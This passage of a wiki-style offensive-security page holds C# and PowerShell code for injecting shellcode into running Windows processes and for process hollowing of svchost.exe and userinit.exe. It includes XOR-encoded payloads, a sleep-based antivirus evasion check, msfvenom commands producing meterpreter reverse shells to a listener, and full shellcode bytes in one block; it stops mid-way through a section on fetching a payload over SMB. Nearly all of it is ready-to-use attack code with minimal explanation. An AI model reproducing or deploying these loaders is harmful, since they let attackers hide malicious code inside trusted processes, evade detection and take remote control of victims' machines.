                0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xcc, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,&lt;br /&gt;
                // ... (rest of the shellcode)&lt;br /&gt;
            };&lt;br /&gt;
            // Write the shellcode to the allocated memory in the target process&lt;br /&gt;
            IntPtr outSize;&lt;br /&gt;
            WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);&lt;br /&gt;
            // Create a remote thread in the target process to execute the shellcode&lt;br /&gt;
            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Csharp - But automatically get process ID ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace Inject&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        // Import necessary functions from kernel32.dll&lt;br /&gt;
        // Opens an existing local process object&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);&lt;br /&gt;
        // Reserves or commits a region of memory within the virtual address space of a specified process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        // Writes data to an area of memory in a specified process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        // Creates a thread that runs in the virtual address space of another process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
	// Automatically obtain process ID&lt;br /&gt;
            Process[] localByName = Process.GetProcessesByName(&amp;quot;explorer&amp;quot;);&lt;br /&gt;
            if (localByName.Length == 0)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;No explorer process found.&amp;quot;);&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            int targetProcessId = localByName[0].Id;&lt;br /&gt;
            // Obtain a handle to the target process&lt;br /&gt;
            IntPtr hProcess = OpenProcess(0x001F0FFF, false, targetProcessId);&lt;br /&gt;
            // Allocate memory in the target process&#039;s address space&lt;br /&gt;
            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
            // Define the shellcode bytes to inject&lt;br /&gt;
            byte[] buf = new byte[510] {0xfc,0x48,0x83,0xe4,0xf0,0xe8... [Rest of the shellcode]&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
            // Write the shellcode to the allocated memory in the target process&lt;br /&gt;
            IntPtr outSize;&lt;br /&gt;
            WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);&lt;br /&gt;
            // Create a remote thread in the target process to execute the shellcode&lt;br /&gt;
            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
function LookupFunc {&lt;br /&gt;
    Param ($moduleName, $functionName)&lt;br /&gt;
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |&lt;br /&gt;
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(&#039;\\&#039;)[-1].&lt;br /&gt;
    Equals(&#039;System.dll&#039;) }).GetType(&#039;Microsoft.Win32.UnsafeNativeMethods&#039;)&lt;br /&gt;
    $tmp=@()&lt;br /&gt;
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq &amp;quot;GetProcAddress&amp;quot;) {$tmp+=$_}}&lt;br /&gt;
    return $tmp[0].Invoke($null, @(($assem.GetMethod(&#039;GetModuleHandle&#039;)).Invoke($null,&lt;br /&gt;
    @($moduleName)), $functionName))&lt;br /&gt;
}&lt;br /&gt;
function getDelegateType {&lt;br /&gt;
    Param (&lt;br /&gt;
    [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,&lt;br /&gt;
    [Parameter(Position = 1)] [Type] $delType = [Void]&lt;br /&gt;
    )&lt;br /&gt;
    $type = [AppDomain]::CurrentDomain.&lt;br /&gt;
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(&#039;ReflectedDelegate&#039;)),&lt;br /&gt;
    [System.Reflection.Emit.AssemblyBuilderAccess]::Run).&lt;br /&gt;
    DefineDynamicModule(&#039;InMemoryModule&#039;, $false).&lt;br /&gt;
    DefineType(&#039;MyDelegateType&#039;, &#039;Class, Public, Sealed, AnsiClass, AutoClass&#039;,&lt;br /&gt;
    [System.MulticastDelegate])&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineConstructor(&#039;RTSpecialName, HideBySig, Public&#039;,&lt;br /&gt;
    [System.Reflection.CallingConventions]::Standard, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineMethod(&#039;Invoke&#039;, &#039;Public, HideBySig, NewSlot, Virtual&#039;, $delType, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    return $type.CreateType()&lt;br /&gt;
}&lt;br /&gt;
$procId = (Get-Process explorer).Id&lt;br /&gt;
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.49.67 LPORT=443 EXITFUNC=thread -f ps1&lt;br /&gt;
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4...[REST OF SHELLCODE]&lt;br /&gt;
# C#: IntPtr hProcess = OpenProcess(ProcessAccessFlags.All, false, procId);&lt;br /&gt;
$hProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll OpenProcess),&lt;br /&gt;
  (getDelegateType @([UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke(0x001F0FFF, 0, $procId)&lt;br /&gt;
# C#: IntPtr expAddr = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)len, AllocationType.Commit | AllocationType.Reserve, MemoryProtection.ExecuteReadWrite);&lt;br /&gt;
$expAddr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAllocEx),&lt;br /&gt;
  (getDelegateType @([IntPtr], [IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke($hProcess, [IntPtr]::Zero, [UInt32]$buf.Length, 0x3000, 0x40)&lt;br /&gt;
# C#: bool procMemResult = WriteProcessMemory(hProcess, expAddr, buf, len, out bytesWritten);&lt;br /&gt;
$procMemResult = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WriteProcessMemory),&lt;br /&gt;
  (getDelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [IntPtr])([Bool]))).Invoke($hProcess, $expAddr, $buf, [Uint32]$buf.Length, [IntPtr]::Zero)&lt;br /&gt;
# C#: IntPtr threadAddr = CreateRemoteThread(hProcess, IntPtr.Zero, 0, expAddr, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateRemoteThread),&lt;br /&gt;
  (getDelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [UInt32], [IntPtr]))).Invoke($hProcess, [IntPtr]::Zero, 0, $expAddr, 0, [IntPtr]::Zero)&lt;br /&gt;
Write-Host &amp;quot;Injected! Check your listener!&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Process Hollowing ==&lt;br /&gt;
&lt;br /&gt;
Process Hollowing is a method used by attackers to inject malicious code into a legitimate process while keeping the process running. This allows the attacker to hide their activities within a trusted process, potentially evading detection.&lt;br /&gt;
&lt;br /&gt;
=== Stageless XOR&#039;d ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace ProcessHollowing&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public const uint CREATE_SUSPENDED = 0x4;&lt;br /&gt;
        public const int PROCESSBASICINFORMATION = 0;&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]&lt;br /&gt;
        public struct ProcessInfo&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr hProcess;&lt;br /&gt;
            public IntPtr hThread;&lt;br /&gt;
            public Int32 ProcessId;&lt;br /&gt;
            public Int32 ThreadId;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]&lt;br /&gt;
        public struct StartupInfo&lt;br /&gt;
        {&lt;br /&gt;
            public uint cb;&lt;br /&gt;
            public string lpReserved;&lt;br /&gt;
            public string lpDesktop;&lt;br /&gt;
            public string lpTitle;&lt;br /&gt;
            public uint dwX;&lt;br /&gt;
            public uint dwY;&lt;br /&gt;
            public uint dwXSize;&lt;br /&gt;
            public uint dwYSize;&lt;br /&gt;
            public uint dwXCountChars;&lt;br /&gt;
            public uint dwYCountChars;&lt;br /&gt;
            public uint dwFillAttribute;&lt;br /&gt;
            public uint dwFlags;&lt;br /&gt;
            public short wShowWindow;&lt;br /&gt;
            public short cbReserved2;&lt;br /&gt;
            public IntPtr lpReserved2;&lt;br /&gt;
            public IntPtr hStdInput;&lt;br /&gt;
            public IntPtr hStdOutput;&lt;br /&gt;
            public IntPtr hStdError;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        internal struct ProcessBasicInfo&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr Reserved1;&lt;br /&gt;
            public IntPtr PebAddress;&lt;br /&gt;
            public IntPtr Reserved2;&lt;br /&gt;
            public IntPtr Reserved3;&lt;br /&gt;
            public IntPtr UniquePid;&lt;br /&gt;
            public IntPtr MoreReserved;&lt;br /&gt;
        }&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern void Sleep(uint dwMilliseconds);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, CharSet = CharSet.Ansi)]&lt;br /&gt;
        static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes,&lt;br /&gt;
            IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,&lt;br /&gt;
            [In] ref StartupInfo lpStartupInfo, out ProcessInfo lpProcessInformation);&lt;br /&gt;
        [DllImport(&amp;quot;ntdll.dll&amp;quot;, CallingConvention = CallingConvention.StdCall)]&lt;br /&gt;
        private static extern int ZwQueryInformationProcess(IntPtr hProcess, int procInformationClass,&lt;br /&gt;
            ref ProcessBasicInfo procInformation, uint ProcInfoLen, ref uint retlen);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer,&lt;br /&gt;
            int dwSize, out IntPtr lpNumberOfbytesRW);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern uint ResumeThread(IntPtr hThread);&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // AV evasion: Sleep for 10s and detect if time really passed&lt;br /&gt;
            DateTime t1 = DateTime.Now;&lt;br /&gt;
            Sleep(10000);&lt;br /&gt;
            double deltaT = DateTime.Now.Subtract(t1).TotalSeconds;&lt;br /&gt;
            if (deltaT &amp;lt; 9.5)&lt;br /&gt;
            {&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.232.133 LPORT=443 EXITFUNC=thread -f csharp&lt;br /&gt;
            // XORed with key 0xfa&lt;br /&gt;
            byte[] buf = new byte[511] {&lt;br /&gt;
            0x06, ...SHELLCODE HERE&lt;br /&gt;
            };&lt;br /&gt;
            // Start &#039;svchost.exe&#039; in a suspended state&lt;br /&gt;
            StartupInfo sInfo = new StartupInfo();&lt;br /&gt;
            ProcessInfo pInfo = new ProcessInfo();&lt;br /&gt;
            bool cResult = CreateProcess(null, &amp;quot;c:\\windows\\system32\\svchost.exe&amp;quot;, IntPtr.Zero, IntPtr.Zero,&lt;br /&gt;
                false, CREATE_SUSPENDED, IntPtr.Zero, null, ref sInfo, out pInfo);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Started &#039;svchost.exe&#039; in a suspended state with PID {pInfo.ProcessId}. Success: {cResult}.&amp;quot;);&lt;br /&gt;
            // Get Process Environment Block (PEB) memory address of suspended process (offset 0x10 from base image)&lt;br /&gt;
            ProcessBasicInfo pbInfo = new ProcessBasicInfo();&lt;br /&gt;
            uint retLen = new uint();&lt;br /&gt;
            long qResult = ZwQueryInformationProcess(pInfo.hProcess, PROCESSBASICINFORMATION, ref pbInfo, (uint)(IntPtr.Size * 6), ref retLen);&lt;br /&gt;
            IntPtr baseImageAddr = (IntPtr)((Int64)pbInfo.PebAddress + 0x10);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got process information and located PEB address of process at {&amp;quot;0x&amp;quot; + baseImageAddr.ToString(&amp;quot;x&amp;quot;)}. Success: {qResult == 0}.&amp;quot;);&lt;br /&gt;
            // Get entry point of the actual process executable&lt;br /&gt;
            // This one is a bit complicated, because this address differs for each process (due to Address Space Layout Randomization (ASLR))&lt;br /&gt;
            // From the PEB (address we got in last call), we have to do the following:&lt;br /&gt;
            // 1. Read executable address from first 8 bytes (Int64, offset 0) of PEB and read data chunk for further processing&lt;br /&gt;
            // 2. Read the field &#039;e_lfanew&#039;, 4 bytes at offset 0x3C from executable address to get the offset for the PE header&lt;br /&gt;
            // 3. Take the memory at this PE header add an offset of 0x28 to get the Entrypoint Relative Virtual Address (RVA) offset&lt;br /&gt;
            // 4. Read the value at the RVA offset address to get the offset of the executable entrypoint from the executable address&lt;br /&gt;
            // 5. Get the absolute address of the entrypoint by adding this value to the base executable address. Success!&lt;br /&gt;
            // 1. Read executable address from first 8 bytes (Int64, offset 0) of PEB and read data chunk for further processing&lt;br /&gt;
            byte[] procAddr = new byte[0x8];&lt;br /&gt;
            byte[] dataBuf = new byte[0x200];&lt;br /&gt;
            IntPtr bytesRW = new IntPtr();&lt;br /&gt;
            bool result = ReadProcessMemory(pInfo.hProcess, baseImageAddr, procAddr, procAddr.Length, out bytesRW);&lt;br /&gt;
            IntPtr executableAddress = (IntPtr)BitConverter.ToInt64(procAddr, 0);&lt;br /&gt;
            result = ReadProcessMemory(pInfo.hProcess, executableAddress, dataBuf, dataBuf.Length, out bytesRW);&lt;br /&gt;
            Console.WriteLine($&amp;quot;DEBUG: Executable base address: {&amp;quot;0x&amp;quot; + executableAddress.ToString(&amp;quot;x&amp;quot;)}.&amp;quot;);&lt;br /&gt;
            // 2. Read the field &#039;e_lfanew&#039;, 4 bytes (UInt32) at offset 0x3C from executable address to get the offset for the PE header&lt;br /&gt;
            uint e_lfanew = BitConverter.ToUInt32(dataBuf, 0x3c);&lt;br /&gt;
            Console.WriteLine($&amp;quot;DEBUG: e_lfanew offset: {&amp;quot;0x&amp;quot; + e_lfanew.ToString(&amp;quot;x&amp;quot;)}.&amp;quot;);&lt;br /&gt;
            // 3. Take the memory at this PE header add an offset of 0x28 to get the Entrypoint Relative Virtual Address (RVA) offset&lt;br /&gt;
            uint rvaOffset = e_lfanew + 0x28;&lt;br /&gt;
            Console.WriteLine($&amp;quot;DEBUG: RVA offset: {&amp;quot;0x&amp;quot; + rvaOffset.ToString(&amp;quot;x&amp;quot;)}.&amp;quot;);&lt;br /&gt;
            // 4. Read the 4 bytes (UInt32) at the RVA offset to get the offset of the executable entrypoint from the executable address&lt;br /&gt;
            uint rva = BitConverter.ToUInt32(dataBuf, (int)rvaOffset);&lt;br /&gt;
            Console.WriteLine($&amp;quot;DEBUG: RVA value: {&amp;quot;0x&amp;quot; + rva.ToString(&amp;quot;x&amp;quot;)}.&amp;quot;);&lt;br /&gt;
            // 5. Get the absolute address of the entrypoint by adding this value to the base executable address. Success!&lt;br /&gt;
            IntPtr entrypointAddr = (IntPtr)((Int64)executableAddress + rva);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got executable entrypoint address: {&amp;quot;0x&amp;quot; + entrypointAddr.ToString(&amp;quot;x&amp;quot;)}.&amp;quot;);&lt;br /&gt;
            // Carrying on, decode the XOR payload&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                buf[i] = (byte)((uint)buf[i] ^ 0xfa);&lt;br /&gt;
            }&lt;br /&gt;
            Console.WriteLine(&amp;quot;XOR-decoded payload.&amp;quot;);&lt;br /&gt;
            // Overwrite the memory at the identified address to &#039;hijack&#039; the entrypoint of the executable&lt;br /&gt;
            result = WriteProcessMemory(pInfo.hProcess, entrypointAddr, buf, buf.Length, out bytesRW);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Overwrote entrypoint with payload. Success: {result}.&amp;quot;);&lt;br /&gt;
            // Resume the thread to trigger our payload&lt;br /&gt;
            uint rResult = ResumeThread(pInfo.hThread);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Triggered payload. Success: {rResult == 1}. Check your listener!&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Stageless 2 ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
//https://github.com/mvelazc0/defcon27_csharp_workshop/tree/master/Labs/lab7&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading;&lt;br /&gt;
&lt;br /&gt;
public class Program&lt;br /&gt;
{&lt;br /&gt;
    const int PROCESS_CREATE_THREAD = 0x0002;&lt;br /&gt;
    const int PROCESS_QUERY_INFORMATION = 0x0400;&lt;br /&gt;
    const int PROCESS_VM_OPERATION = 0x0008;&lt;br /&gt;
    const int PROCESS_VM_WRITE = 0x0020;&lt;br /&gt;
    const int PROCESS_VM_READ = 0x0010;&lt;br /&gt;
    //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-openthread&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    //static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, uint dwThreadId);&lt;br /&gt;
    static extern IntPtr OpenThread(uint dwDesiredAccess, bool bInheritHandle, uint dwThreadId);&lt;br /&gt;
    //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-suspendthread&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    static extern uint SuspendThread(IntPtr hThread);&lt;br /&gt;
    //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-resumethread&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    static extern int ResumeThread(IntPtr hThread);&lt;br /&gt;
    //https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/wdm/nf-wdm-zwunmapviewofsection&lt;br /&gt;
    [DllImport(&amp;quot;ntdll.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
    private static extern uint NtUnmapViewOfSection(IntPtr hProcess, IntPtr lpBaseAddress);&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);&lt;br /&gt;
&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    //public static extern IntPtr VirtualAllocEx(IntPtr lpHandle,IntPtr lpAddress, IntPtr dwSize, AllocationType flAllocationType, MemoryProtection flProtect);&lt;br /&gt;
    public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect);&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
    //https://docs.microsoft.com/en-us/windows/desktop/api/synchapi/nf-synchapi-waitforsingleobject&lt;br /&gt;
    [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
    private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] buffer, IntPtr dwSize, int lpNumberOfBytesWritten);&lt;br /&gt;
    private static UInt32 MEM_COMMIT = 0x1000;&lt;br /&gt;
    private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;&lt;br /&gt;
    private static UInt32 SUSPEND_RESUME = 0x0002;&lt;br /&gt;
    public static void Main()&lt;br /&gt;
    {&lt;br /&gt;
&lt;br /&gt;
// msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f csharp&lt;br /&gt;
        byte[] shellcode = new byte[193] {0xfc,0xe8,0x82,0x00,0x00,0x00,&lt;br /&gt;
0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,&lt;br /&gt;
0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,&lt;br /&gt;
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,&lt;br /&gt;
0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,&lt;br /&gt;
0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,&lt;br /&gt;
0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,&lt;br /&gt;
0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,&lt;br /&gt;
0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,&lt;br /&gt;
0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,&lt;br /&gt;
0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,&lt;br /&gt;
0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x6a,&lt;br /&gt;
0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,&lt;br /&gt;
0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,&lt;br /&gt;
0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,&lt;br /&gt;
0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,0x61,&lt;br /&gt;
0x6c,0x63,0x2e,0x65,0x78,0x65,0x00};&lt;br /&gt;
&lt;br /&gt;
        string proc = &amp;quot;userinit.exe&amp;quot;;&lt;br /&gt;
        Process newproc;&lt;br /&gt;
        newproc = Process.Start(proc);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Started &amp;quot; + proc + &amp;quot; with Process Id:&amp;quot; + newproc.Id);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Suspending process...&amp;quot;);&lt;br /&gt;
        foreach (ProcessThread thread in newproc.Threads)&lt;br /&gt;
        {&lt;br /&gt;
            IntPtr pOpenThread;&lt;br /&gt;
            pOpenThread = OpenThread(SUSPEND_RESUME, false, (uint)thread.Id);&lt;br /&gt;
            if (pOpenThread == IntPtr.Zero)&lt;br /&gt;
            {&lt;br /&gt;
                break;&lt;br /&gt;
            }&lt;br /&gt;
            SuspendThread(pOpenThread);&lt;br /&gt;
        }&lt;br /&gt;
        Console.WriteLine(&amp;quot;Suspended!&amp;quot;);&lt;br /&gt;
        IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, newproc.Id);&lt;br /&gt;
        IntPtr spaceAddr = VirtualAllocEx(procHandle, IntPtr.Zero, shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Allocating memory&amp;quot;);&lt;br /&gt;
        WriteProcessMemory(procHandle, spaceAddr, shellcode, new IntPtr(shellcode.Length), 0);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Copied shellcode in memory&amp;quot;);&lt;br /&gt;
        IntPtr pinfo = IntPtr.Zero;&lt;br /&gt;
        IntPtr threatH = CreateRemoteThread(procHandle, new IntPtr(0), new uint(), spaceAddr, new IntPtr(0), new uint(), new IntPtr(0));&lt;br /&gt;
        Console.WriteLine(&amp;quot;Created remote thread&amp;quot;);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Resuming process...&amp;quot;);&lt;br /&gt;
        foreach (ProcessThread thread in newproc.Threads)&lt;br /&gt;
        {&lt;br /&gt;
            IntPtr pOpenThread;&lt;br /&gt;
            pOpenThread = OpenThread(SUSPEND_RESUME, false, (uint)thread.Id);&lt;br /&gt;
            if (pOpenThread == IntPtr.Zero)&lt;br /&gt;
            {&lt;br /&gt;
                break;&lt;br /&gt;
            }&lt;br /&gt;
            ResumeThread(pOpenThread);&lt;br /&gt;
        }&lt;br /&gt;
        Console.WriteLine(&amp;quot;Resumed!&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Staged - Download payload through CIFS/SMB ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
namespace ProcessHollowingExample&lt;br /&gt;
{&lt;br /&gt;
    internal class Program&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, CharSet = CharSet.Ansi)]&lt;br /&gt;
        static extern bool CreateProcess(string lpApplicationName, string lpCommandLine,&lt;br /&gt;
            IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles,&lt;br /&gt;
            uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,&lt;br /&gt;
            [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);&lt;br /&gt;
        [DllImport(&amp;quot;ntdll.dll&amp;quot;, CallingConvention = CallingConvention.StdCall)]&lt;br /&gt;
        private static extern int ZwQueryInformationProcess(IntPtr hProcess,&lt;br /&gt;
            int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation,&lt;br /&gt;
            uint ProcInfoLen, ref uint retlen);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
